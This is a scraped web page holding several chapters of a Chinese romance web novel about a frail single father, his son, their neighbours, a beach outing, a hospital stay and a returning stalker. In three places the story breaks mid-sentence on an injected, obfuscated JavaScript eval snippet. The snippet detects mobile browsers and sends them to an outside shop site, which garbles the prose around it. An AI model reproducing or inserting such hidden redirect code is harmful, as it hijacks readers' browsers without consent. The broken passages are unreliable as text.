“这是蝴蝶酥。”沈庭章捏起一小块放她手心,让她先尝尝,“酥饼容易碎,不要用力握哦。” 周漫漫愣愣点头。 送到嘴边轻轻一咬,手里就掉了好些屑,但是——好好吃! 酥香薄脆,嘎嘣响,也不觉得干。 周漫漫很快吃完,就连酥屑都一一舔了个干净,沈庭章见她喜欢,又捏了块大的。 当然,也不忘分给另外两个。 “蔺宵,你也尝尝。” 捏着蝴蝶酥的手越过两个孩子伸来,袖子稍往上跑了几寸,不经意间露出一截白腕。 不吃点心的蔺宵鬼使神差张开手,一块完整的蝴蝶酥落下。 造型有多独特好看,他不知道,视线仍牢牢锁着那几根手指,离得近了才发现,指尖和关节泛着诱人的淡粉,指腹还沾着少许酥屑。 正要收回去,蔺宵一把握住。 腕骨纤细的,估计他一用力就能像这蝴蝶酥,轻易碎了。 “怎么了?” 蔺宵神情不变,蹭两下指腹,“沾到了。” 沈庭章赶紧拿纸擦擦,又问他:“味道怎么样?” 咬一口嚼了嚼,没等咽下去,蔺宵就回:“很香,非常……” “好好吃!比面包房卖得还要好吃!”周漫漫几口就将大的那块也吃完了,“这是哥哥做的?” 沈庭章点点头。 旁边的沈小满仿佛找到一个宣泄口,骄傲地抬起下巴,“当然是我爸爸做的。我爸爸什么都会做,蝴蝶酥、柠檬派、三明治…只有你想不到,没有我爸爸做不到。” “哇!哥哥真厉害!” “我只会做这点东西,别听小满瞎吹。”沈庭章扯出一张湿纸巾,托住沈小满下巴拉过来擦嘴。 动作轻柔的,像外婆。 周漫漫伸出舌头舔舔脸上的酥屑,眼珠咕噜一转,扯了扯沈庭章袖子,“哥哥,你低点头,漫漫跟你说件事。” “什么事……” 啵! 低头那刻,一个带着酥香的吻,重重落到沈庭章脸上。 周漫漫高兴地直晃脚,“这是漫漫送给哥哥的礼物,哥哥喜欢嘛?” “你为什么亲我爸爸!”沈庭章还没说什么,小满先炸了。 她怎么能亲爸爸? “想亲就亲咯。” “你不准亲!” “为什么不准亲!” “哪有那么多理由,反正就是不行!!你赶紧给我换回来!不要你坐我爸爸旁边。” “略略略,我就不。” …… 车里最终还是吵了一路,蝴蝶酥也不好使。 到海水浴场,下车后,沈小满都还在炸毛,防周漫漫跟防贼似的。 “好了小满,漫漫只是亲一下,没关系的。”沈庭章温声劝。 沈小满转头,拽着他衣摆委屈翘嘴,“那小满也要亲。” “好好好,亲。” 沈庭章主动将脸凑过去。 同一个位置,沈小满也用力啵了一口,心里才舒服了。 这下又轮到周漫漫。 可惜她刚张开嘴,就被亲哥及时捂住。 “漫漫你看,海边好多人哟。” — 他们出发晚,这会儿都已经五点了,海水浴场依旧爆火。随处可见穿着泳衣泳裤、脚踩一双拖鞋的人,还有不少腰间圈个游泳圈,跑来跑去的小孩。 周漫漫立马将可恶的沈小满甩到脑后,抱着哥哥脖子晃,“海边!海边!我要捡一筐贝壳回家串风铃!” 成功转移注意力。 几人先去了附近的泳装店,火速买好泳裤和拖鞋。 “沈哥不换么?”周扬抱着两套衣服到收银台,见他就买了两双拖鞋和一条小孩子的泳裤。 沈庭章将泳裤给小满,笑得十分勉强:“我…你们下水好了。” “哦!我懂了,沈哥不会游泳。”周扬不在意地摆摆手,“这有什么,不会游泳的人多了去了,再说不是还有泳圈嘛。” 沈小满抱着泳裤,摇头:“爸爸身体不好。” 周扬一愣,不知所措地挠着后脑勺,“不好意思啊哥,我不知道……” “没关系,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678774|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在其实已经好多了。”沈庭章若无其事拍拍小满,“快去换衣服,我在门口等你。” 周扬自告奋勇,带着妹妹和小满去换衣室,一路又听两个孩子三句话不到瞎吵吵,连忙捂耳朵直喊祖宗。 到换衣室外,恰巧遇到蔺宵。 蔺宵动作比他们快不少,早已经换好泳裤,裸着的上半身似一座山丘连绵起伏,完美的倒三角,平时穿衣服不显,胸肌格外发达,腹部垒着几块紧实惹眼的肌肉,人鱼线直直没入泳裤里。 “喔!”沈小满直勾勾盯着,兴奋地握紧小拳头敞开声:“哥哥真大!” …… 四周陷入死一般的寂静。 周扬更是被他的虎狼之词呛了口水,这小孩儿,瞎说什么大实话! 他之前跟宵哥一块儿上厕所,有偷偷瞄到,确实尺寸惊人,不过小满是怎么看出来的? 黑色泳裤也看不出来啊。 视线明目张胆地落到下方,蔺宵狠狠皱眉,周扬见状一哆嗦,夹起妹妹往换衣室冲,“我,我一个人忙不过来,小满就宵哥您带去换衣服吧。” 话落,留下一大一小原地瞪眼。 蔺宵叹口气伸出手,小满自动握住。 进了换衣室,不用人说,自己动手脱衣服,露出白白嫩嫩的小肚子。 他又止不住看向蔺宵,羡慕得不得了,“哥哥,我可以摸摸嘛。” “……可以。”蔺宵脸转向门口,提出条件,“但是你得告诉哥哥,爸爸的身体到底哪儿不好?” 沈小满考虑了很久,双手捧了会儿心,又蹲下抱住腿,“爸爸心脏不太好,腿也不好,下雨就疼。” “天生的?” 沈小满点点头又摇头,“腿不是。” 那就是说,心脏天生的。 “哥哥打听爸爸的事,想干什么。”沈小满已经生起警觉。 以往,但凡来打听爸爸病情的,都是坏人! “只是好奇,没别的意思。”蔺宵蹲下去,单手摁在他脑袋上,“不是要摸么,来吧。” 小手试探地覆上胸肌,偷偷瞄他两眼,轻轻捏了捏,弹性十足。 “哥哥是天生的么?” 胸真的好大,凑近看,更大了。 “练的。”他捉住沈小满还想继续往下的手,脱了他的裤子,将泳裤麻溜儿换上,“好了,别让你爸爸等太久了。” 一句话治住乱动的人。 … 换好以后出去,附近的人早已经转移注意力,纷纷望向门外,有的甚至暗戳戳拿起手机偷拍。 “好漂亮啊,是哪儿来的明星嘛?来拍戏的?” “你可别逗了,明星哪有他好看。” 议论声纷纷杂杂落入耳中。 只见泳装店外站着一个人,长身玉立,简简单单一件白衬衫勾勒身形,仅背影就能美成一幅画。 手上牵个小女孩儿,不多时,一名年轻妈妈过去抱起孩子,不停地向他道谢。 “没事,不客气,这里人多,得看好孩子才是。” 美人开口,那道光是听着就能让人怀孕的声音,顿时又勾起不少人伸长了脖子看。 大胆的,已经过去扬起手机,“帅哥一个人么?可以的话,加个微信呗。” “不好意思……” “他有伴儿。” 8. 小满吓坏了 一只手虚虚揽过沈庭章的肩。 热意落入耳中。蔺宵漫不经心抬起黑眸,似笑非笑。 两名女生连忙收回手机,尴尬跑开。走远了,不甘心地叹一句:“那么漂亮,怎么是个gay啊!” 四周另有蠢蠢欲动准备上去的,看到似一堵墙挡着的蔺宵,也开始打退堂鼓,没多久稀稀拉拉散开。 沈庭章小松口气,转头:“多谢。” 离得过分近,脸上细小的绒毛清晰可见。蔺宵轻吸一声,不自在地撇开头,“小事一桩,何况沈哥自己不愿意。” 他松开人,试探:“刚才那两位挺漂亮的。” “嗯。”穿着比基尼,沈庭章没太敢细看,“都是很好的人。” 说话真好听,但蔺宵想知道的不是这个。他又试探:“想必小满妈妈更好吧。” 珠玉在前,瞧不上其他人也正常。 “小满的妈妈……” “爸爸你看!”话刚出口,沈小满就抱着充好气的泳圈跑过来,套在腰间欢快地转个圈,“好看吗爸爸?” 沈庭章将泳裤给他往上拉了拉,堪堪遮住肚脐,点点头。 “嘿嘿!”沈小满反手指向后头牵着妹妹过来的周扬,咧开嘴:“小扬哥哥说,待会儿教我游泳。” … 换完衣服,几人立即出发往海边走。 此时已经五点多了,还有点太阳,周扬中途又去租了把遮阳伞和太阳椅,以及两只挖贝壳专用的小红桶和塑料铁锹。 等他回来,沈小满早被蔺宵带去海边,练习扑水。 周漫漫不甘示弱,抱着波点泳圈,扯他裤子,“哥哥,我也要游泳。” “不是挖贝壳么?好好好,祖宗,别拽了。”周扬死命拉住裤头,将将撑好遮阳伞,就被妹妹拽过去,他边走边回头,高声喊:“沈哥,饮料都在保温箱里,渴了直接拿啊。” “好。” 沈庭章不下水,就半倚在太阳椅上看海。 橘黄的夕阳渐渐没入海面,留下一些揉碎的金粉随着浪潮浮沉。 耳边尽是欢声。 有一家三口,母亲手上搭着毛巾,小孩儿坐在爸爸肩上,激动地指向远处岩石;也有夫妻、情侣,互相泼水或手牵手在岸边散步,海风吹起两人的头发,空中交缠…… 沈庭章看过去,不知道是不是错觉,男女结伴的比例好像要远超其他人。 莫非这是什么爱情圣地? ……难怪,宿喻州寄回来的信上会提到这儿。 明明那个年代打电话发信息都已经很方便了,可还是会每个月固定寄两封信,雷打不动。 也没什么要紧事,多是吐槽这里吃的住的穿的有多不好,后来结婚了,就总是问静舒最近的情况。 林静舒,也就是小满妈妈,那个时候还在医学院读研。 是个非常努力上进的女孩,曾大言不惭说要治好他的病。 放了假就到他这儿来。 “小少爷,喻州来信了么?”刚进门,包都没放,迫不及待问。 宿管家心力交瘁追在后头,不止一次让她慢点跑。 “都已经六个月了,小心些,别摔着自己。”他放下手里的书,指指旁边桌子上的信。 林静舒过去,拿起未开的信封笑:“小少爷放心吧,这孩子挺乖的,一点都不闹腾。” 摸了摸微凸的肚子,拆开信,一目三行。 看完后咬了咬唇,随手将信递给他,“小少爷你看他,前阵子和同事去海边玩儿,都要跟我炫耀。这不是欺负我不能去嘛。” 林静舒很喜欢海,当初和喻州新婚蜜月就去了海边,可惜现在怀了孕,学业又格外紧张。 “这兔崽子就是讨打。”管家端来水果,恰巧听到她抱怨的几句,忙对儿媳道:“静舒别生气,不用等他回来,过几天咱就去海边转转。来,先吃点水果,待会儿叫厨房再给你熬点汤。” “还是爸对我好。”林静舒乖乖巧巧捏起一颗葡萄,悄悄抬起手指轻嘘。 沈庭章看到信的最后,上面写道:“等你生了,孩子扔给咱爸,带你来这儿。嘘!别告诉他。” 这夫妻俩…… 每每想起,沈庭章总摇头失笑。 起身走到岸边,海风比刚才要大一点,衣摆吹得猎猎作响,浪花一波接一波冲到脚背上,很快又退回去。 沈庭章往前走了走。 — 另一边。 见小满没多久就已经能环着泳圈独自扑水,周扬忍不住拍手叫好,“很有天分嘛,这么会儿功夫就学会了。” 再看妹妹扑腾四肢水花乱溅……周扬默默抹了把脸上的水,不想说话。 小满拽着蔺宵勉强站起来,脸蛋红红的,小声说:“我以前学过。” 以前家里有一个大泳池,爷爷在世的时候还专门请了老师来教他。 自从爷爷去世之后,爸爸就…… “爸爸?”沈小满歪头望向远处。 人正慢慢往海里走。 小脸儿唰地白了下去,赶紧扒开挡在面前的大腿,踉踉跄跄,边跑边哭:“爸爸!爸爸!!” 爸爸又要丢下他了么。 尖锐哭声化作实质刺进耳中,沈庭章恍惚停下脚步,“小满?怎么了?” “爸爸想干什么。”沈小满牢牢抱住他的腿,咬紧下唇。 “我……”沈庭章转头望向浪潮迭起的海面,摸着他头安抚,“我只是想看看海。” “真的?” “小满放心。”沈庭章轻声道:“不会发生那样的事了。” 说话间,另外两个也赶了过来。 周漫漫还因跑得慢,被哥哥夹在胳肢窝颠了一路。 “怎么了?”蔺宵轻轻喘气,上下看他,“小满看见你后,突然跑过来。” “没什么大事。”沈庭章扯开唇角,“让你们跟着担心了。” “没事就好。” 周扬松口长气,放下妹妹。 周漫漫一落地晕头转向,晃两下脑袋,抱着泳圈跑到沈庭章身边,哥哥前哥哥后的喊。 “哥哥,你不玩水,那我们去挖贝壳吧。” “好呀。” 周漫漫笑着蹭了蹭他的手,歪头瞧突然自闭的小胖子,呀!哭了? 沈庭章一手一个牵回去,周扬正要跟上,走出去几步却见蔺宵仍站在原地,“咋了宵哥?” “你说,他身体不好又不会游泳,去海边做什么?” “可能……是想感受下吧。” 仅仅是这样,小满当时看见他在海边为什么会那么恐慌,就好像—— 不,不会的,不可能。 … 回到遮阳伞下,原本冰在保温箱的水,被拿出来几瓶放在地上。 沈庭章拿毛巾擦拭瓶身上解冻后留下的水渍,拧开盖子给两个小孩。 “对哦,小孩子不能喝冰的。”哐哐干了半瓶水,周扬才后知后觉。 “还是沈哥心细。” 喝完水,两个孩子拿上小铁锹在附近挖贝壳。 周扬负责提桶,看着他们,别又再吵起来。 没想到,俩祖宗这会儿竟一个比一个安静,尤其是他家的皮猴子,挖到贝壳居然先给了小满两颗! 见鬼了。 这还是他家漫漫么? “我给你两颗贝壳,你可别哭鼻子了,我哥说了,男子汉大丈夫,流血流汗不流泪。” “我没哭。” “嘁~我看见了。” “……” “诶!你哭啥啊?扑水扑多了,腿抽筋?” “……” “诶!你理理我嘛。” 沈小满转身留个酷酷的背影,边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691260|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挖贝壳,边往遮阳伞下看。 蔺宵哥哥在爸爸身边,爸爸应该不会再去海边了。 “死胖子,跟你说话呢!敢不理我!” 正感叹岁月静好,妹妹长大的周扬:…… 他就不该这么早放心。 不过好在一个巴掌拍不响,沈小满现在满脑子爸爸,周漫漫就算嘎吱嘎吱咬牙也没用。 “好了,再把牙给崩坏了。”周扬顺手抄起妹妹的胳肢窝,给她挪个地方,“渴没?哥给你们拿水去。” 他起身拍拍腿上的沙,回去。 走到遮阳伞外,就听他宵哥和沈庭章说话,在聊小满。 “小满很有天分,学得又快,多练几次估计就会游了。” 宵哥的声音,和往常没什么不同,但他却从中难得听出一丝柔和。 周扬略停了停,又见宵哥将自己的毛巾给了沈庭章,“裤脚都湿了,擦一擦吧,不然感冒了。” 这,这是从他宵哥嘴里说出来的? 宵哥什么时候…… 刚抬起的腿猛地立住,他看见——宵哥笑了!! 蔺宵其实会笑,只不过大多时候,一笑准没好事,还不如冷着个脸,生气发火。 要他真的温温柔柔,比登天还难。 然而现在,居然破天荒地扬起了一个和善的笑。 莫非!!! “我有喜欢的人了,回了。”半个多月前的一句话正中眉心。 那之后,周扬明里暗里打探很久,都没找出宵哥喜欢的人是谁,现在想想,那句话似乎是在他这个邻居搬来之后! 周扬连忙抱住怦怦跳的小心脏,直到两个小孩往他脚上各送了一铲沙。 “哥哥你在傻笑什么?” “嗯?没什么。”周扬努力压下嘴角,见他们拎着小红桶,夹起了嗓子问:“怎么不挖了?不是要串贝壳当风铃吗?” “咦~哥哥你说话好恶心哦。”周漫漫搓了搓手臂上的鸡皮疙瘩,在周扬即将给她一个爆栗前,又道:“沙滩上的贝壳好少,而且天黑了。” 海边气温低,太阳下去后,就觉得好冷。 “那我们回去吧。”沈庭章捂嘴低咳两声,过来道:“也快七点了。” — 退掉遮阳伞和椅子,又到换衣室将衣服换回来,几人踩着夜空中稀疏的几点星子开车离开。 两个小孩早已经精疲力尽,上车没多久,头靠着头呼呼睡过去。 不到七点半回到幸福里居,周扬背着妹妹,再开自己的车回去。 沈庭章把住摇头晃脑的小满,站在两家中间,低声道谢:“今天谢谢你。” “……蜂蜜水,很好喝。” 沈庭章一听就明白了,是因着昨天的事才有了今天,他笑了笑:“以后要是再醉了,我还给你泡。” “好。” “不过还是得少喝点酒,对身体不好。” 蔺宵无声点头,目送他进屋。 … 今天的运动量严重超标,沈小满回去就蜷到了沙发上,半点不想动弹。 免得他感冒,沈庭章拿来毯子,“晚上,咳咳咳,煮点面吃吧。” 沈小满哼哼唧唧,睁开眼又慢慢闭上,小手勾住他的食指,放到脸上蹭,“爸爸怎么开始咳了?” “估计是吹了风,没什么大事。先睡会儿,面好了,我叫你。” “好~” 沈小满应下一句,继续呼呼大睡。 半梦半醒间,听到几声咳嗽。 “爸爸?” 等他再睁开眼,屋里一片漆黑,咳嗽声越发震耳。 沈小满掀开被子到处摸,摸到一具滚烫的身体。 “爸爸!” … 夜半三更,蔺宵家的门被哐哐敲响: “哥哥,蔺宵哥哥,爸爸身体好烫!” 9. 生病照顾 天花板逐渐扭成漩涡状。 耳朵里像被塞了两堵棉花,模糊传来断断续续的哭声。 沈庭章呼出一团热气,后知后觉,他好像发烧了。 家里没来得及备药,他想,他得去趟医院,不然小满该担心了。 但是现在身上实在没什么力气,得缓一缓…谁把他抱了起来? 人一旦生病,思维也跟着迟缓。 被人抱到车上,沈庭章才在灯下勉强看清正给自己系安全带的人。 “蔺宵?” “是我。”一只手覆上他额头,“烧得不轻,我带你去医院。” “麻烦你了。” 沈庭章撑着说完,再度耷下沉重的眼皮。 … 黑色大众夜间疾驰,连闯六个红灯,不到十分钟抵达医院门口。 蔺宵熄火后松开安全带,抱着人往急诊科冲,小满吭哧吭哧在后面追。 一量温度,已经烧到42度。 “怎么这个时候才送来啊!”医生嚎一句,赶紧叫值班护士将人推进诊室。 小满进不去,只能扒在门口,豆大的眼泪一颗一颗无声往下掉。 “别担心,爸爸会没事的。”蔺宵蹲他身边,压着力道轻轻拍头。 像是某种咒语。 下一秒,沈小满就开始放声大哭。 “是…是小满要去玩儿,爸爸才生病的!” 爸爸本来身体就不好,也不想去海边,都是他,都是因为他!! 嚎啕转声嘶力竭,哭到干呕,任凭蔺宵怎么哄都没用。 直到护士开门出来。 言简意赅:“患者要输液消炎,他有什么过敏的么?” 沈小满像被一把扼住喉咙,瘪着嘴,哭唧唧望着她,“爸爸不能用青梅。” “啥?青梅?” 蔺宵立刻反应过来。 “应该是青霉素。是不是,小满?” “嗯,青梅。”沈小满重重点头。 他之前听张爷爷是这么说的。 狐疑的目光在两人中间转一圈,护士叹口气回去。 没过多久,沈庭章就输着其他消炎药推出诊室,送去病房观察。 “总共5瓶,家属看着点,没了叫护士来换。” “好。” 蔺宵缴清所有费用,再到医院小卖部买了些日用品。 回来时,小满正巴巴守在床前。 “爸爸……” “爸爸没事了,烧也在往下降。”蔺宵打来热水,先往他脸上搭了块毛巾,“把脸擦擦,别叫你爸爸醒了担心。” 沈小满揭下热毛巾,眯了眯红肿的眼。 见他又重新打湿一块毛巾给爸爸擦手,视线默默移到床尾。 “别拿你那块给你爸擦脚。”蔺宵头也不回,指着陪护床,“洗完就去睡觉,明天你爸就好了。” 身后的小人儿半天没动。 “没听到么?” 衣摆被人扯了两下,沈小满凑过来,小声:“哥哥谢谢你。” 说完,把毛巾搓了搓拧干,自觉趴到陪护床上不添乱。 蔺宵愣怔数秒,借着床头灯去看烧还没有完全退下的人,想起半个小时前,大门被人哐哐敲响,小满急得在外面喊:“哥哥,爸爸生病了,你来看看他好么。” 他总以为是因为自己,其实根本原因,在他。 是他,一开始提出去海边。 蔺宵长叹一声,继续给人擦手。 和他常年打拳的手不一样,沈庭章的手远比他想象地还要嫩,掌心无一处茧子,连薄茧都没有,毛巾稍一用力就能在上面留下一道擦痕。 这明明已经是小卖部里最好的毛巾了。 他托着那只手握了会儿,放进被子,再去擦另一只。 捏住手腕,发现不对。 翻过来一看,左手腕内侧一深一浅两道疤,都在动脉上。 难怪这么热的天也穿长袖…… 蹭了蹭,蔺宵忽然想到些什么,停住。 — 整整一晚上,病房门开开合合数次。 沈庭章眼睛虽睁不开,却能清晰感觉到从手背血管流入身体的凉意,以及数次覆在额上的那只手。 掌心温热,离开时,粗粝的指腹总若有似无地拂过他的额发、眼角。 许是还在发烧,精神比较差,沈庭章难得没有反感这种触碰。 一觉到天微微泛起鱼肚白。 鼻尖飘着熟悉的消毒水味,睁眼就是窗边被风吹动的白纱,目光缓缓下移,是一双抑制不住担心的眼睛。 沈小满早早醒了,窝到床前。 见他睁开眼,颊侧两只梨涡深深凹陷,“爸……”看了眼趴在床另一边的人,小手捂住嘴,半趴过去搂住人脖子,悄咪咪地,“爸爸你醒了!有没有哪儿不舒服?” “好多了。”沈庭章往左转,毛茸茸的黑脑袋伏在床上,手正被人紧紧握着。 “是蔺宵哥哥带爸爸来医院的,还给爸爸擦了手。” 原来烧糊涂时候的那些触感,是他。 沈庭章左手不动,头转回来:“小满,爸爸有些渴。” “我去倒水。” 沈小满跳下床,抱着保温水壶慢慢倒。 窸窸窣窣。 蔺宵瞬间惊醒,抬头,撞入温柔的眼底。 “你醒了!”他正要伸手去探额头,中途猛地顿住,站起身,“我去叫护士。” 护士很快过来,给他量了体温。 “……差不多正常了,再输一瓶就能出院。到时候,别忘了把这个小哭包也带走。” 急诊科昨晚跟嚎丧似的,不知道的,还以为人没了呢。 沈小满小脸通红,忙去捂爸爸的耳朵。 以为多少会被笑话,哪知听完这段“趣事”,沈庭章眼眶微红,一下一下轻抚他的脑袋。 “爸爸好好的就好。”沈小满半趴到他身边,噘着嘴巴道歉:“小满以后再也不去海边了。” 病房里安静片刻,传来一声叹息。 “这件事是爸爸不对,应该多带两件衣服的,关小满什么事?”他捏了捏弹性十足的包子脸,弯了弯眼:“小满昨天不是还说要和蔺宵哥哥学游泳么。” “可以么!” “当然可以。” 沈庭章将下巴搁他脑袋上,手在背后轻轻拍着。 蔺宵买完早饭回来就看到这样一幕。 他快速走进去,放下保温袋:“一些米粥和包子,你和小满趁热吃,我去办出院手续。” “蔺宵。”走到门口,屋内唤了他一声。 “谢谢你。” 嘴角生硬地弯起一个弧度,蔺宵扭头笑了下离开。 走得很快,没听到小满那句“哥哥笑起来好可怕。” 沈庭章慌忙夹起一只小笼包,温柔堵住他的嘴。 嚼吧嚼吧咽下去,沈小满又道:“其实哥哥平时那样就很好。”他捏着自己的胸比划,“胸也大。” “……” 沈庭章夹起包子继续堵。 明明病人是他,最后吃撑的却是小满,倒在床上缓了半天,差一点就要再睡个回笼觉。 可惜被床头柜上嗡嗡响个不停的手机吵醒。 他抱着肚子爬起来,把手机递给爸爸,瞧见来电显示——“张”。 是张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702402|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷爷么? 沈庭章接下电话,一道苍老的声音自听筒里传出。 “小少爷,一个月了,身体怎么样?” 张,全名张修堂,燕北市医院有名的心内科医生,负责沈庭章的病已经三十年。 既是稳固的医患关系,也是忘年好友。 沈庭章语气轻快:“还不错。” “那就好。”对方松了口气,不厌其烦叮嘱:“别忘了,一个月跟我说一次,有什么问题及时给我打电话。” “知道了,我会注意的。” 他摸摸正竖起耳朵偷听的小满,又问:“张医生该不会就为了这个打来的吧。” 电话里默了几秒。 张修堂声音微沉:“本来你都离开了,我不该说什么,但想想还是叫你知道的好……徐家那位,这几天从国外回来了。” 轰—— 大脑突然一片空白,连带着脸也跟着白了。 沈庭章用力抱住手机,近乎哀求:“不能让他知道我在哪儿!” “这个我当然明白。” 只是徐家那个疯子,怕是没那么容易摆脱。 — 燕北,徐家大院。 大门缓缓开启,迎进来一辆黑色宾利。 稳稳停下后,候在一旁的佣人立即上前,打开车门,问一声“大少爷好”。 裹着黑色西裤的长腿率先跨出,车里下来一个男人,起身后,比旁边的佣人足足高了一个半头。 左眼下方,缀一点青痣,阳光下,风情万种。 “爸爸!” 门里很快飞出一只糯米团子,扑到人腿边,咧开缺了颗牙的嘴,笑:“爸爸回来啦!” “嗯,回来了。”徐牧言弯腰抱起女儿,点点她的鼻子,边往屋里走边问:“玉珠最近乖不乖,有没有想爸爸。” “有啊,每天都想!” 说着话进大门,二楼楼梯转角下来一名美妇,似乎刚睡醒,一袭丝绸睡裙,仅在外面披了件流苏披肩。 小姑娘手伸过去,喊:“妈妈!” “还记得妈妈呀,爸爸一回来,就跑没影了。”沈问月抹了抹压根不存在的眼泪,蹙眉轻叹:“果然只喜欢爸爸。” 玉珠连连摇头,“也喜欢妈妈,最喜欢妈妈了,也喜欢爸爸,都喜欢。” 沈问月拢了拢披肩下来,温柔地摸她头,“好了,妈妈跟你说着玩儿呢,还有些事要和爸爸说,玉珠跟吴妈继续去拼乐高吧。” 吴妈几步上前,接过小姑娘。 … 人一走,萦绕着的温馨气氛顷刻散净。 沈问月转身走到沙发坐下,讥讽:“还以为你这辈子都不回来了呢。” “小叔真的离开沈家了?” “一回来就问这个啊。”沈问月盯着他,轻呵:“我祖父90大寿你都不问一下?” “我问你是不是真的!” “那貌似是我小叔。” 一只手伸到她脖间握住,徐牧言额角青筋猛跳,“再问你一句,是不是!” “是,又怎样?”沈问月扫了眼那只手,继续笑:“他本来没打算那么快走得,这不多亏你了么,要不是你……太恶心了,他又何必跑?” 沈问月抬手拍开他,嫌恶地擦了擦手心,“顺便再告诉你一句,他转了很多地方,现在谁也不知道人在哪儿,有本事你就去找,最好闹得天翻地覆,告诉所有人,你那点龌龊心思。” 她当着徐牧言面扔掉擦手的湿巾,优雅从容地拢着披肩上楼。 阴冷刺骨的声音后方响起: “沈问月,你以为我不敢弄死你么。” 卑鄙无耻的沈家人! 10. 镜花水月 办完出院手续,蔺宵在住院部晃了一圈,估摸着父子俩吃好早饭了,再回去。 “脸怎么这么白?烧还没退么?” 注意到那张煞白的脸,蔺宵转头要去叫护士。 “没事!不用了!” 沈庭章赶忙叫住人,轻轻呼一口气,镇定下来,“烧已经退了,回家休息会儿就好。” “真的?” 他的样子看起来不是很好,唇上都没什么血色。 察觉到落过来的目光,沈庭章抿了下唇,点头:“当然是真的。” 僵持一阵。 见他执意出院,蔺宵也只好作罢。 回去的路上,两人各揣心事,谁也没多说话,沈小满看气氛不对,跟着闭上小嘴。 到家后,蔺宵将昨晚买的日用品和一些抗风寒感冒的药给他们,就打算离开。 沈庭章留他,“就快中午了,不介意的话,在这边吃饭吧。” “好……”蔺宵无奈话音一转,“虽然我很想这样应下,可惜还有点事。” 昨晚连闯了几个红灯,交警队正找他呢。 沈庭章早上听小满说了这件事,“我跟你去解释,他们一定会理解的。” “好意我心领了,不过你现在最重要的是好好休息……”皱着眉真不好看,蔺宵暗叹一声,收起那点坏心眼儿,宽慰:“放心吧,昨晚我就跟他们解释过了,今天只是去取消罚单,顺便听他们唠叨几句。好了,别站在风口了,回去吧。” 手一扬,大步走远。 — 交警队和派出所连一块儿,蔺宵走出办事大厅,拐个弯去隔壁。 进门就跟一个步履匆匆的警员撞上。 “哦!蔺宵!我正找你呢。”警员六十多岁了,头发全白,手里抱着一个标配的保温杯,“听说你昨儿个连闯了六个红灯,咋的,想把同里改成你的私人赛车场?” “我倒是想,可以么。” “你敢!”老警员往他背上杵两拳,“走,跟我说道说道怎么回事?” 进了办公室,关上门。 蔺宵直接往他椅子上一靠,顺手捏起果盘里两粒薄荷糖,“邢队,少磕点糖,一大把年纪也不怕牙掉了。” “管我之前先管好你自己。”邢明业不紧不慢嗦口茶,盖上盖子,别别扭扭问:“最近还好吧。” “嗯,还行。” “工作也还顺心吧。” “托您的福,扫黄队一周来查一次。” “……” 屋里渐渐静下来。 眼看客套话客套不下去了,邢明业果断甩锅:“你知道我想问的不是这个。” “那你干嘛绕这么一大圈。”蔺宵不接受,并把锅扔了回去。 “……” 甩锅不行,邢明业又开始耍赖:“就不能让让我这个半截身子入土的老人家么。” “老人家?谁家老人抓偷拍犯追三条街啊?” 好好的光荣事迹,从他嘴里说出来,怎么那么刺耳。邢明业拗不过他,败下阵:“好了好了,是我不对。那请问蔺老大,最近情况怎么样?” 哄孩子似的。 蔺宵格外不满,轻哼一声撇开头,粗声粗气:“余志强那边还是老样子,守着那一亩三分地,白凤……明面上想拉拢我,实际嘛,你最好派人盯着点,这骚狐狸指不定什么时候给你捅个娄子。” “他们都没跟什么人接触吧?” “接没接触,也不会让我知道啊。”蔺宵摆摆手:“行了,汇报结束,走了。” “嗯。哎!”邢明业又叫住他,“另外两个不提,你最近,情况有点不对啊。不是向来不插手拳场的事么?这次还是为了个普通人。” “没办法,拳场求到我这儿,做个顺水人情罢了。不过——”蔺宵缓缓转过头,意味深长地笑:“你是怎么知道的?” 这件事,拳场不必多说,那个拳击手,也只是个外地来的游客,和他连面都没见过。排除这两个答案…… 蔺宵肯定:“我身边有卧底。” 邢明业一怔。 “行啊,邢队长,卧底都插.我身边了。” “先说好,可不是我。”邢明业赶紧为自己开脱,“何况,我这不是告诉你了么。” “呵。那我谢谢你噢。” 蔺宵抬脚往门口走。 身后忍不住老话重谈:“当年你要是去读警校就好了。” 明明都考上了。 “我现在也挺好的,不劳您费心。” ……不费心也费这么多年了。 邢明业恨铁不成钢,摇头又问:“听说你最近迷上了一个男人?” “邢队最近听说的事真不少。” “呵呵。”刑明业尴尬笑笑,好奇:“是个什么样子的人?” … 临近中午,办公室门被人敲响。 “老邢,关什么门啊?走,吃饭去。” 来人推门进来,就见他抱着保温杯痴痴坐着,跟丢了魂儿似的。 “老邢?” 手在他眼前晃两下。 邢明业这才回神,抬头,“老章啊,你怎么来了?” 